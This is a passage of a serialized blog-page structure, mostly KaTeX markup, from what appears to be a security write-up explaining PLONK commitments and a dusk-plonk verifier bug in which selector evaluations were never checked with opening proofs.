"children":141848},{"className":141847,"style":2110},[2003],[],{"type":23,"tag":139,"props":141850,"children":141852},{"className":141851,"style":20128},[2009,19596],[141853],{"type":28,"value":141515},{"type":23,"tag":139,"props":141855,"children":141857},{"className":141856},[19725],[141858],{"type":28,"value":262},{"type":23,"tag":139,"props":141860,"children":141862},{"className":141861},[2009,19596],[141863],{"type":28,"value":17284},{"type":23,"tag":139,"props":141865,"children":141867},{"className":141866},[19747],[141868],{"type":28,"value":1104},{"type":28,"value":73},{"type":23,"tag":24,"props":141871,"children":141872},{},[141873],{"type":23,"tag":429,"props":141874,"children":141877},{"alt":141875,"src":141876},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":23,"tag":666,"props":141879,"children":141881},{"id":141880},"polynomial-commitments-and-opening-proofs",[141882],{"type":28,"value":141883},"Polynomial commitments and opening proofs",{"type":23,"tag":24,"props":141885,"children":141886},{},[141887,141889,141894,141896,141901],{"type":28,"value":141888},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":23,"tag":659,"props":141890,"children":141891},{},[141892],{"type":28,"value":141893},"commitments",{"type":28,"value":141895},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":23,"tag":659,"props":141897,"children":141898},{},[141899],{"type":28,"value":141900},"opening proof",{"type":28,"value":141902}," that the claimed value is consistent with the earlier commitment.",{"type":23,"tag":24,"props":141904,"children":141905},{},[141906],{"type":28,"value":141907},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":23,"tag":666,"props":141909,"children":141911},{"id":141910},"reducing-to-a-single-random-point",[141912],{"type":28,"value":141913},"Reducing to a single random point",{"type":23,"tag":24,"props":141915,"children":141916},{},[141917,141919,141959,141961,141986,141988,142110,142112,142137],{"type":28,"value":141918},"After the prover commits to all polynomials, including ",{"type":23,"tag":135,"props":141920,"children":141922},{"className":141921},[1981,1982],[141923],{"type":23,"tag":139,"props":141924,"children":141926},{"className":141925},[1987],[141927],{"type":23,"tag":139,"props":141928,"children":141930},{"className":141929,"ariaHidden":1993},[1992],[141931],{"type":23,"tag":139,"props":141932,"children":141934},{"className":141933},[1998],[141935,141939,141944,141949,141954],{"type":23,"tag":139,"props":141936,"children":141938},{"className":141937,"style":2110},[2003],[],{"type":23,"tag":139,"props":141940,"children":141942},{"className":141941,"style":19597},[2009,19596],[141943],{"type":28,"value":3990},{"type":23,"tag":139,"props":141945,"children":141947},{"className":141946},[19725],[141948],{"type":28,"value":262},{"type":23,"tag":139,"props":141950,"children":141952},{"className":141951},[2009,19596],[141953],{"type":28,"value":17284},{"type":23,"tag":139,"props":141955,"children":141957},{"className":141956},[19747],[141958],{"type":28,"value":1104},{"type":28,"value":141960},", the verifier picks a random challenge point ",{"type":23,"tag":135,"props":141962,"children":141964},{"className":141963},[1981,1982],[141965],{"type":23,"tag":139,"props":141966,"children":141968},{"className":141967},[1987],[141969],{"type":23,"tag":139,"props":141970,"children":141972},{"className":141971,"ariaHidden":1993},[1992],[141973],{"type":23,"tag":139,"props":141974,"children":141976},{"className":141975},[1998],[141977,141981],{"type":23,"tag":139,"props":141978,"children":141980},{"className":141979,"style":108792},[2003],[],{"type":23,"tag":139,"props":141982,"children":141984},{"className":141983,"style":111508},[2009,19596],[141985],{"type":28,"value":111511},{"type":28,"value":141987}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":23,"tag":135,"props":141989,"children":141991},{"className":141990},[1981,1982],[141992],{"type":23,"tag":139,"props":141993,"children":141995},{"className":141994},[1987],[141996],{"type":23,"tag":139,"props":141997,"children":141999},{"className":141998,"ariaHidden":1993},[1992],[142000,142041,142082],{"type":23,"tag":139,"props":142001,"children":142003},{"className":142002},[1998],[142004,142008,142013,142018,142023,142028,142032,142037],{"type":23,"tag":139,"props":142005,"children":142007},{"className":142006,"style":2110},[2003],[],{"type":23,"tag":139,"props":142009,"children":142011},{"className":142010,"style":19597},[2009,19596],[142012],{"type":28,"value":119729},{"type":23,"tag":139,"props":142014,"children":142016},{"className":142015},[19725],[142017],{"type":28,"value":262},{"type":23,"tag":139,"props":142019,"children":142021},{"className":142020,"style":111508},[2009,19596],[142022],{"type":28,"value":111511},{"type":23,"tag":139,"props":142024,"children":142026},{"className":142025},[19747],[142027],{"type":28,"value":1104},{"type":23,"tag":139,"props":142029,"children":142031},{"className":142030,"style":2187},[2089],[],{"type":23,"tag":139,"props":142033,"children":142035},{"className":142034},[2192],[142036],{"type":28,"value":1067},{"type":23,"tag":139,"props":142038,"children":142040},{"className":142039,"style":2187},[2089],[],{"type":23,"tag":139,"props":142042,"children":142044},{"className":142043},[1998],[142045,142049,142054,142059,142064,142069,142073,142078],{"type":23,"tag":139,"props":142046,"children":142048},{"className":142047,"style":2110},[2003],[],{"type":23,"tag":139,"props":142050,"children":142052},{"className":142051,"style":19597},[2009,19596],[142053],{"type":28,"value":3990},{"type":23,"tag":139,"props":142055,"children":142057},{"className":142056},[19725],[142058],{"type":28,"value":262},{"type":23,"tag":139,"props":142060,"children":142062},{"className":142061,"style":111508},[2009,19596],[142063],{"type":28,"value":111511},{"type":23,"tag":139,"props":142065,"children":142067},{"className":142066},[19747],[142068],{"type":28,"value":1104},{"type":23,"tag":139,"props":142070,"children":142072},{"className":142071,"style":2090},[2089],[],{"type":23,"tag":139,"props":142074,"children":142076},{"className":142075},[2095],[142077],{"type":28,"value":109213},{"type":23,"tag":139,"props":142079,"children":142081},{"className":142080,"style":2090},[2089],[],{"type":23,"tag":139,"props":142083,"children":142085},{"className":142084},[1998],[142086,142090,142095,142100,142105],{"type":23,"tag":139,"props":142087,"children":142089},{"className":142088,"style":2110},[2003],[],{"type":23,"tag":139,"props":142091,"children":142093},{"className":142092,"style":20128},[2009,19596],[142094],{"type":28,"value":141515},{"type":23,"tag":139,"props":142096,"children":142098},{"className":142097},[19725],[142099],{"type":28,"value":262},{"type":23,"tag":139,"props":142101,"children":142103},{"className":142102,"style":111508},[2009,19596],[142104],{"type":28,"value":111511},{"type":23,"tag":139,"props":142106,"children":142108},{"className":142107},[19747],[142109],{"type":28,"value":1104},{"type":28,"value":142111}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":23,"tag":135,"props":142113,"children":142115},{"className":142114},[1981,1982],[142116],{"type":23,"tag":139,"props":142117,"children":142119},{"className":142118},[1987],[142120],{"type":23,"tag":139,"props":142121,"children":142123},{"className":142122,"ariaHidden":1993},[1992],[142124],{"type":23,"tag":139,"props":142125,"children":142127},{"className":142126},[1998],[142128,142132],{"type":23,"tag":139,"props":142129,"children":142131},{"className":142130,"style":108792},[2003],[],{"type":23,"tag":139,"props":142133,"children":142135},{"className":142134,"style":111508},[2009,19596],[142136],{"type":28,"value":111511},{"type":28,"value":142138}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":23,"tag":24,"props":142140,"children":142141},{},[142142,142144,142169,142171,142176],{"type":28,"value":142143},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":23,"tag":135,"props":142145,"children":142147},{"className":142146},[1981,1982],[142148],{"type":23,"tag":139,"props":142149,"children":142151},{"className":142150},[1987],[142152],{"type":23,"tag":139,"props":142153,"children":142155},{"className":142154,"ariaHidden":1993},[1992],[142156],{"type":23,"tag":139,"props":142157,"children":142159},{"className":142158},[1998],[142160,142164],{"type":23,"tag":139,"props":142161,"children":142163},{"className":142162,"style":108792},[2003],[],{"type":23,"tag":139,"props":142165,"children":142167},{"className":142166,"style":111508},[2009,19596],[142168],{"type":28,"value":111511},{"type":28,"value":142170},", the prover supplies ",{"type":23,"tag":659,"props":142172,"children":142173},{},[142174],{"type":28,"value":142175},"evaluation claims",{"type":28,"value":142177}," that must be checked against those commitments with opening proofs.",{"type":23,"tag":24,"props":142179,"children":142180},{},[142181,142183,142187],{"type":28,"value":142182},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":23,"tag":659,"props":142184,"children":142185},{},[142186],{"type":28,"value":102495},{"type":28,"value":142188}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":23,"tag":666,"props":142190,"children":142192},{"id":142191},"what-the-verifier-is-actually-allowed-to-trust",[142193],{"type":28,"value":142194},"What the verifier is actually allowed to trust",{"type":23,"tag":24,"props":142196,"children":142197},{},[142198,142200,142205],{"type":28,"value":142199},"For this bug, one invariant matters more than the rest: ",{"type":23,"tag":56,"props":142201,"children":142202},{},[142203],{"type":28,"value":142204},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":28,"value":73},{"type":23,"tag":24,"props":142207,"children":142208},{},[142209,142211,142303,142304,142396,142398,142423,142425,142465,142466,142506,142507,142600,142601,142647,142649,142736,142737,142824,142825,142912],{"type":28,"value":142210},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":23,"tag":135,"props":142212,"children":142214},{"className":142213},[1981,1982],[142215],{"type":23,"tag":139,"props":142216,"children":142218},{"className":142217},[1987],[142219],{"type":23,"tag":139,"props":142220,"children":142222},{"className":142221,"ariaHidden":1993},[1992],[142223],{"type":23,"tag":139,"props":142224,"children":142226},{"className":142225},[1998],[142227,142231,142288,142293,142298],{"type":23,"tag":139,"props":142228,"children":142230},{"className":142229,"style":2110},[2003],[],{"type":23,"tag":139,"props":142232,"children":142234},{"className":142233},[2009],[142235,142240],{"type":23,"tag":139,"props":142236,"children":142238},{"className":142237,"style":20128},[2009,19596],[142239],{"type":28,"value":141515},{"type":23,"tag":139,"props":142241,"children":142243},{"className":142242},[2025],[142244],{"type":23,"tag":139,"props":142245,"children":142247},{"className":142246},[2030,19650],[142248,142277],{"type":23,"tag":139,"props":142249,"children":142251},{"className":142250},[2035],[142252,142272],{"type":23,"tag":139,"props":142253,"children":142255},{"className":142254,"style":140506},[2040],[142256],{"type":23,"tag":139,"props":142257,"children":142258},{"style":114200},[142259,142263],{"type":23,"tag":139,"props":142260,"children":142262},{"className":142261,"style":2050},[2049],[],{"type":23,"tag":139,"props":142264,"children":142266},{"className":142265},[2055,2056,2057,2058],[142267],{"type":23,"tag":139,"props":142268,"children":142270},{"className":142269,"style":91185},[2009,19596,2058],[142271],{"type":28,"value":91188},{"type":23,"tag":139,"props":142273,"children":142275},{"className":142274},[19753],[142276],{"type":28,"value":19756},{"type":23,"tag":139,"props":142278,"children":142280},{"className":142279},[2035],[142281],{"type":23,"tag":139,"props":142282,"children":142284},{"className":142283,"style":91034},[2040],[142285],{"type":23,"tag":139,"props":142286,"children":142287},{},[],{"type":23,"tag":139,"props":142289,"children":142291},{"className":142290},[19725],[142292],{"type":28,"value":262},{"type":23,"tag":139,"props":142294,"children":142296},{"className":142295,"style":111508},[2009,19596],[142297],{"type":28,"value":111511},{"type":23,"tag":139,"props":142299,"children":142301},{"className":142300},[19747],[142302],{"type":28,"value":1104},{"type":28,"value":1052},{"type":23,"tag":135,"props":142305,"children":142307},{"className":142306},[1981,1982],[142308],{"type":23,"tag":139,"props":142309,"children":142311},{"className":142310},[1987],[142312],{"type":23,"tag":139,"props":142313,"children":142315},{"className":142314,"ariaHidden":1993},[1992],[142316],{"type":23,"tag":139,"props":142317,"children":142319},{"className":142318},[1998],[142320,142324,142381,142386,142391],{"type":23,"tag":139,"props":142321,"children":142323},{"className":142322,"style":2110},[2003],[],{"type":23,"tag":139,"props":142325,"children":142327},{"className":142326},[2009],[142328,142333],{"type":23,"tag":139,"props":142329,"children":142331},{"className":142330},[2009,19596],[142332],{"type":28,"value":115915},{"type":23,"tag":139,"props":142334,"children":142336},{"className":142335},[2025],[142337],{"type":23,"tag":139,"props":142338,"children":142340},{"className":142339},[2030,19650],[142341,142370],{"type":23,"tag":139,"props":142342,"children":142344},{"className":142343},[2035],[142345,142365],{"type":23,"tag":139,"props":142346,"children":142348},{"className":142347,"style":91003},[2040],[142349],{"type":23,"tag":139,"props":142350,"children":142351},{"style":91007},[142352,142356],{"type":23,"tag":139,"props":142353,"children":142355},{"className":142354,"style":2050},[2049],[],{"type":23,"tag":139,"props":142357,"children":142359},{"className":142358},[2055,2056,2057,2058],[142360],{"type":23,"tag":139,"props":142361,"children":142363},{"className":142362},[2009,2058],[142364],{"type":28,"value":647},{"type":23,"tag":139,"props":142366,"children":142368},{"className":142367},[19753],[142369],{"type":28,"value":19756},{"type":23,"tag":139,"props":142371,"children":142373},{"className":142372},[2035],[142374],{"type":23,"tag":139,"props":142375,"children":142377},{"className":142376,"style":91034},[2040],[142378],{"type":23,"tag":139,"props":142379,"children":142380},{},[],{"type":23,"tag":139,"props":142382,"children":142384},{"className":142383},[19725],[142385],{"type":28,"value":262},{"type":23,"tag":139,"props":142387,"children":142389},{"className":142388,"style":111508},[2009,19596],[142390],{"type":28,"value":111511},{"type":23,"tag":139,"props":142392,"children":142394},{"className":142393},[19747],[142395],{"type":28,"value":1104},{"type":28,"value":142397},", the public-input polynomial at ",{"type":23,"tag":135,"props":142399,"children":142401},{"className":142400},[1981,1982],[142402],{"type":23,"tag":139,"props":142403,"children":142405},{"className":142404},[1987],[142406],{"type":23,"tag":139,"props":142407,"children":142409},{"className":142408,"ariaHidden":1993},[1992],[142410],{"type":23,"tag":139,"props":142411,"children":142413},{"className":142412},[1998],[142414,142418],{"type":23,"tag":139,"props":142415,"children":142417},{"className":142416,"style":108792},[2003],[],{"type":23,"tag":139,"props":142419,"children":142421},{"className":142420,"style":111508},[2009,19596],[142422],{"type":28,"value":111511},{"type":28,"value":142424},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":23,"tag":135,"props":142426,"children":142428},{"className":142427},[1981,1982],[142429],{"type":23,"tag":139,"props":142430,"children":142432},{"className":142431},[1987],[142433],{"type":23,"tag":139,"props":142434,"children":142436},{"className":142435,"ariaHidden":1993},[1992],[142437],{"type":23,"tag":139,"props":142438,"children":142440},{"className":142439},[1998],[142441,142445,142450,142455,142460],{"type":23,"tag":139,"props":142442,"children":142444},{"className":142443,"style":2110},[2003],[],{"type":23,"tag":139,"props":142446,"children":142448},{"className":142447},[2009,19596],[142449],{"type":28,"value":64},{"type":23,"tag":139,"props":142451,"children":142453},{"className":142452},[19725],[142454],{"type":28,"value":262},{"type":23,"tag":139,"props":142456,"children":142458},{"className":142457,"style":111508},[2009,19596],[142459],{"type":28,"value":111511},{"type":23,"tag":139,"props":142461,"children":142463},{"className":142462},[19747],[142464],{"type":28,"value":1104},{"type":28,"value":1052},{"type":23,"tag":135,"props":142467,"children":142469},{"className":142468},[1981,1982],[142470],{"type":23,"tag":139,"props":142471,"children":142473},{"className":142472},[1987],[142474],{"type":23,"tag":139,"props":142475,"children":142477},{"className":142476,"ariaHidden":1993},[1992],[142478],{"type":23,"tag":139,"props":142479,"children":142481},{"className":142480},[1998],[142482,142486,142491,142496,142501],{"type":23,"tag":139,"props":142483,"children":142485},{"className":142484,"style":2110},[2003],[],{"type":23,"tag":139,"props":142487,"children":142489},{"className":142488},[2009,19596],[142490],{"type":28,"value":1199},{"type":23,"tag":139,"props":142492,"children":142494},{"className":142493},[19725],[142495],{"type":28,"value":262},{"type":23,"tag":139,"props":142497,"children":142499},{"className":142498,"style":111508},[2009,19596],[142500],{"type":28,"value":111511},{"type":23,"tag":139,"props":142502,"children":142504},{"className":142503},[19747],[142505],{"type":28,"value":1104},{"type":28,"value":1052},{"type":23,"tag":135,"props":142508,"children":142510},{"className":142509},[1981,1982],[142511],{"type":23,"tag":139,"props":142512,"children":142514},{"className":142513},[1987],[142515],{"type":23,"tag":139,"props":142516,"children":142518},{"className":142517,"ariaHidden":1993},[1992],[142519],{"type":23,"tag":139,"props":142520,"children":142522},{"className":142521},[1998],[142523,142527,142585,142590,142595],{"type":23,"tag":139,"props":142524,"children":142526},{"className":142525,"style":2110},[2003],[],{"type":23,"tag":139,"props":142528,"children":142530},{"className":142529},[2009],[142531,142537],{"type":23,"tag":139,"props":142532,"children":142534},{"className":142533,"style":91437},[2009,19596],[142535],{"type":28,"value":142536},"σ",{"type":23,"tag":139,"props":142538,"children":142540},{"className":142539},[2025],[142541],{"type":23,"tag":139,"props":142542,"children":142544},{"className":142543},[2030,19650],[142545,142574],{"type":23,"tag":139,"props":142546,"children":142548},{"className":142547},[2035],[142549,142569],{"type":23,"tag":139,"props":142550,"children":142552},{"className":142551,"style":91003},[2040],[142553],{"type":23,"tag":139,"props":142554,"children":142555},{"style":91484},[142556,142560],{"type":23,"tag":139,"props":142557,"children":142559},{"className":142558,"style":2050},[2049],[],{"type":23,"tag":139,"props":142561,"children":142563},{"className":142562},[2055,2056,2057,2058],[142564],{"type":23,"tag":139,"props":142565,"children":142567},{"className":142566},[2009,2058],[142568],{"type":28,"value":647},{"type":23,"tag":139,"props":142570,"children":142572},{"className":142571},[19753],[142573],{"type":28,"value":19756},{"type":23,"tag":139,"props":142575,"children":142577},{"className":142576},[2035],[142578],{"type":23,"tag":139,"props":142579,"children":142581},{"className":142580,"style":91034},[2040],[142582],{"type":23,"tag":139,"props":142583,"children":142584},{},[],{"type":23,"tag":139,"props":142586,"children":142588},{"className":142587},[19725],[142589],{"type":28,"value":262},{"type":23,"tag":139,"props":142591,"children":142593},{"className":142592,"style":111508},[2009,19596],[142594],{"type":28,"value":111511},{"type":23,"tag":139,"props":142596,"children":142598},{"className":142597},[19747],[142599],{"type":28,"value":1104},{"type":28,"value":1052},{"type":23,"tag":135,"props":142602,"children":142604},{"className":142603},[1981,1982],[142605],{"type":23,"tag":139,"props":142606,"children":142608},{"className":142607},[1987],[142609],{"type":23,"tag":139,"props":142610,"children":142612},{"className":142611,"ariaHidden":1993},[1992],[142613],{"type":23,"tag":139,"props":142614,"children":142616},{"className":142615},[1998],[142617,142621,142626,142631,142636,142642],{"type":23,"tag":139,"props":142618,"children":142620},{"className":142619,"style":2110},[2003],[],{"type":23,"tag":139,"props":142622,"children":142624},{"className":142623},[2009,19596],[142625],{"type":28,"value":64},{"type":23,"tag":139,"props":142627,"children":142629},{"className":142628},[19725],[142630],{"type":28,"value":262},{"type":23,"tag":139,"props":142632,"children":142634},{"className":142633,"style":111508},[2009,19596],[142635],{"type":28,"value":111511},{"type":23,"tag":139,"props":142637,"children":142639},{"className":142638,"style":91437},[2009,19596],[142640],{"type":28,"value":142641},"ω",{"type":23,"tag":139,"props":142643,"children":142645},{"className":142644},[19747],[142646],{"type":28,"value":1104},{"type":28,"value":142648},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":23,"tag":135,"props":142650,"children":142652},{"className":142651},[1981,1982],[142653],{"type":23,"tag":139,"props":142654,"children":142656},{"className":142655},[1987],[142657],{"type":23,"tag":139,"props":142658,"children":142660},{"className":142659,"ariaHidden":1993},[1992],[142661],{"type":23,"tag":139,"props":142662,"children":142664},{"className":142663},[1998],[142665,142669,142674,142731],{"type":23,"tag":139,"props":142666,"children":142668},{"className":142667,"style":2110},[2003],[],{"type":23,"tag":139,"props":142670,"children":142672},{"className":142671},[19725],[142673],{"type":28,"value":1723},{"type":23,"tag":139,"props":142675,"children":142677},{"className":142676},[2009],[142678,142683],{"type":23,"tag":139,"props":142679,"children":142681},{"className":142680,"style":91437},[2009,19596],[142682],{"type":28,"value":91440},{"type":23,"tag":139,"props":142684,"children":142686},{"className":142685},[2025],[142687],{"type":23,"tag":139,"props":142688,"children":142690},{"className":142689},[2030,19650],[142691,142720],{"type":23,"tag":139,"props":142692,"children":142694},{"className":142693},[2035],[142695,142715],{"type":23,"tag":139,"props":142696,"children":142698},{"className":142697,"style":140506},[2040],[142699],{"type":23,"tag":139,"props":142700,"children":142701},{"style":91484},[142702,142706],{"type":23,"tag":139,"props":142703,"children":142705},{"className":142704,"style":2050},[2049],[],{"type":23,"tag":139,"props":142707,"children":142709},{"className":142708},[2055,2056,2057,2058],[142710],{"type":23,"tag":139,"props":142711,"children":142713},{"className":142712,"style":92959},[2009,19596,2058],[142714],{"type":28,"value":92962},{"type":23,"tag":139,"props":142716,"children":142718},{"className":142717},[19753],[142719],{"type":28,"value":19756},{"type":23,"tag":139,"props":142721,"children":142723},{"className":142722},[2035],[142724],{"type":23,"tag":139,"props":142725,"children":142727},{"className":142726,"style":91034},[2040],[142728],{"type":23,"tag":139,"props":142729,"children":142730},{},[],{"type":23,"tag":139,"props":142732,"children":142734},{"className":142733},[19747],[142735],{"type":28,"value":13423},{"type":28,"value":1052},{"type":23,"tag":135,"props":142738,"children":142740},{"className":142739},[1981,1982],[142741],{"type":23,"tag":139,"props":142742,"children":142744},{"className":142743},[1987],[142745],{"type":23,"tag":139,"props":142746,"children":142748},{"className":142747,"ariaHidden":1993},[1992],[142749],{"type":23,"tag":139,"props":142750,"children":142752},{"className":142751},[1998],[142753,142757,142762,142819],{"type":23,"tag":139,"props":142754,"children":142756},{"className":142755,"style":2110},[2003],[],{"type":23,"tag":139,"props":142758,"children":142760},{"className":142759},[19725],[142761],{"type":28,"value":1723},{"type":23,"tag":139,"props":142763,"children":142765},{"className":142764},[2009],[142766,142771],{"type":23,"tag":139,"props":142767,"children":142769},{"className":142768,"style":91437},[2009,19596],[142770],{"type":28,"value":91440},{"type":23,"tag":139,"props":142772,"children":142774},{"className":142773},[2025],[142775],{"type":23,"tag":139,"props":142776,"children":142778},{"className":142777},[2030,19650],[142779,142808],{"type":23,"tag":139,"props":142780,"children":142782},{"className":142781},[2035],[142783,142803],{"type":23,"tag":139,"props":142784,"children":142786},{"className":142785,"style":140506},[2040],[142787],{"type":23,"tag":139,"props":142788,"children":142789},{"style":91484},[142790,142794],{"type":23,"tag":139,"props":142791,"children":142793},{"className":142792,"style":2050},[2049],[],{"type":23,"tag":139,"props":142795,"children":142797},{"className":142796},[2055,2056,2057,2058],[142798],{"type":23,"tag":139,"props":142799,"children":142801},{"className":142800,"style":90951},[2009,19596,2058],[142802],{"type":28,"value":113270},{"type":23,"tag":139,"props":142804,"children":142806},{"className":142805},[19753],[142807],{"type":28,"value":19756},{"type":23,"tag":139,"props":142809,"children":142811},{"className":142810},[2035],[142812],{"type":23,"tag":139,"props":142813,"children":142815},{"className":142814,"style":91034},[2040],[142816],{"type":23,"tag":139,"props":142817,"children":142818},{},[],{"type":23,"tag":139,"props":142820,"children":142822},{"className":142821},[19747],[142823],{"type":28,"value":13423},{"type":28,"value":1052},{"type":23,"tag":135,"props":142826,"children":142828},{"className":142827},[1981,1982],[142829],{"type":23,"tag":139,"props":142830,"children":142832},{"className":142831},[1987],[142833],{"type":23,"tag":139,"props":142834,"children":142836},{"className":142835,"ariaHidden":1993},[1992],[142837],{"type":23,"tag":139,"props":142838,"children":142840},{"className":142839},[1998],[142841,142845,142850,142907],{"type":23,"tag":139,"props":142842,"children":142844},{"className":142843,"style":2110},[2003],[],{"type":23,"tag":139,"props":142846,"children":142848},{"className":142847},[19725],[142849],{"type":28,"value":1723},{"type":23,"tag":139,"props":142851,"children":142853},{"className":142852},[2009],[142854,142859],{"type":23,"tag":139,"props":142855,"children":142857},{"className":142856,"style":91437},[2009,19596],[142858],{"type":28,"value":142536},{"type":23,"tag":139,"props":142860,"children":142862},{"className":142861},[2025],[142863],{"type":23,"tag":139,"props":142864,"children":142866},{"className":142865},[2030,19650],[142867,142896],{"type":23,"tag":139,"props":142868,"children":142870},{"className":142869},[2035],[142871,142891],{"type":23,"tag":139,"props":142872,"children":142874},{"className":142873,"style":91003},[2040],[142875],{"type":23,"tag":139,"props":142876,"children":142877},{"style":91484},[142878,142882],{"type":23,"tag":139,"props":142879,"children":142881},{"className":142880,"style":2050},[2049],[],{"type":23,"tag":139,"props":142883,"children":142885},{"className":142884},[2055,2056,2057,2058],[142886],{"type":23,"tag":139,"props":142887,"children":142889},{"className":142888},[2009,2058],[142890],{"type":28,"value":15541},{"type":23,"tag":139,"props":142892,"children":142894},{"className":142893},[19753],[142895],{"type":28,"value":19756},{"type":23,"tag":139,"props":142897,"children":142899},{"className":142898},[2035],[142900],{"type":23,"tag":139,"props":142901,"children":142903},{"className":142902,"style":91034},[2040],[142904],{"type":23,"tag":139,"props":142905,"children":142906},{},[],{"type":23,"tag":139,"props":142908,"children":142910},{"className":142909},[19747],[142911],{"type":28,"value":13423},{"type":28,"value":142913},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":23,"tag":24,"props":142915,"children":142916},{},[142917],{"type":28,"value":142918},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":23,"tag":16800,"props":142920,"children":142921},{},[],{"type":23,"tag":41,"props":142923,"children":142925},{"id":142924},"where-dusk-plonk-differs-from-textbook-plonk",[142926],{"type":28,"value":142927},"Where dusk-plonk differs from textbook PLONK",{"type":23,"tag":24,"props":142929,"children":142930},{},[142931,142940,142942,142947,142949,142979],{"type":23,"tag":64,"props":142932,"children":142934},{"href":139806,"rel":142933},[68],[142935],{"type":23,"tag":135,"props":142936,"children":142938},{"className":142937},[],[142939],{"type":28,"value":139810},{"type":28,"value":142941}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":23,"tag":135,"props":142943,"children":142945},{"className":142944},[],[142946],{"type":28,"value":68466},{"type":28,"value":142948},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":23,"tag":135,"props":142950,"children":142952},{"className":142951},[1981,1982],[142953],{"type":23,"tag":139,"props":142954,"children":142956},{"className":142955},[1987],[142957],{"type":23,"tag":139,"props":142958,"children":142960},{"className":142959,"ariaHidden":1993},[1992],[142961],{"type":23,"tag":139,"props":142962,"children":142964},{"className":142963},[1998],[142965,142969,142974],{"type":23,"tag":139,"props":142966,"children":142968},{"className":142967,"style":108792},[2003],[],{"type":23,"tag":139,"props":142970,"children":142972},{"className":142971,"style":111508},[2009,19596],[142973],{"type":28,"value":111511},{"type":23,"tag":139,"props":142975,"children":142977},{"className":142976,"style":91437},[2009,19596],[142978],{"type":28,"value":142641},{"type":28,"value":142980},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":23,"tag":24,"props":142982,"children":142983},{},[142984,142986,142991,142992,142997,142999,143005,143007,143014],{"type":28,"value":142985},"The important part for this bug is the boundary between ",{"type":23,"tag":56,"props":142987,"children":142988},{},[142989],{"type":28,"value":142990},"public circuit data",{"type":28,"value":9002},{"type":23,"tag":56,"props":142993,"children":142994},{},[142995],{"type":28,"value":142996},"prover claims about that data at the random challenge point",{"type":28,"value":142998},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":23,"tag":135,"props":143000,"children":143002},{"className":143001},[],[143003],{"type":28,"value":143004},"Ql, Qr, Qm, Qo, Qk",{"type":28,"value":143006}," directly into the ",{"type":23,"tag":64,"props":143008,"children":143011},{"href":143009,"rel":143010},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[68],[143012],{"type":28,"value":143013},"linearization multi-scalar multiplication",{"type":28,"value":143015},", ensuring their values are cryptographically bound by construction.",{"type":23,"tag":24,"props":143017,"children":143018},{},[143019,143021,143046],{"type":28,"value":143020},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":23,"tag":135,"props":143022,"children":143024},{"className":143023},[1981,1982],[143025],{"type":23,"tag":139,"props":143026,"children":143028},{"className":143027},[1987],[143029],{"type":23,"tag":139,"props":143030,"children":143032},{"className":143031,"ariaHidden":1993},[1992],[143033],{"type":23,"tag":139,"props":143034,"children":143036},{"className":143035},[1998],[143037,143041],{"type":23,"tag":139,"props":143038,"children":143040},{"className":143039,"style":108792},[2003],[],{"type":23,"tag":139,"props":143042,"children":143044},{"className":143043,"style":111508},[2009,19596],[143045],{"type":28,"value":111511},{"type":28,"value":143047}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":23,"tag":24,"props":143049,"children":143050},{},[143051],{"type":28,"value":143052},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":23,"tag":143054,"props":143055,"children":143056},"dusk-verifier-dependence-graph",{},[],{"type":23,"tag":16800,"props":143058,"children":143059},{},[],{"type":23,"tag":41,"props":143061,"children":143063},{"id":143062},"how-dusk-uses-plonk",[143064],{"type":28,"value":143065},"How Dusk uses PLONK",{"type":23,"tag":24,"props":143067,"children":143068},{},[143069,143075],{"type":23,"tag":64,"props":143070,"children":143072},{"href":139815,"rel":143071},[68],[143073],{"type":28,"value":143074},"Dusk Network",{"type":28,"value":143076}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":23,"tag":14699,"props":143078,"children":143079},{},[143080,143085],{"type":23,"tag":801,"props":143081,"children":143082},{},[143083],{"type":28,"value":143084},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":23,"tag":801,"props":143086,"children":143087},{},[143088],{"type":28,"value":143089},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":23,"tag":24,"props":143091,"children":143092},{},[143093,143095,143106,143108,143119],{"type":28,"value":143094},"At node level, every 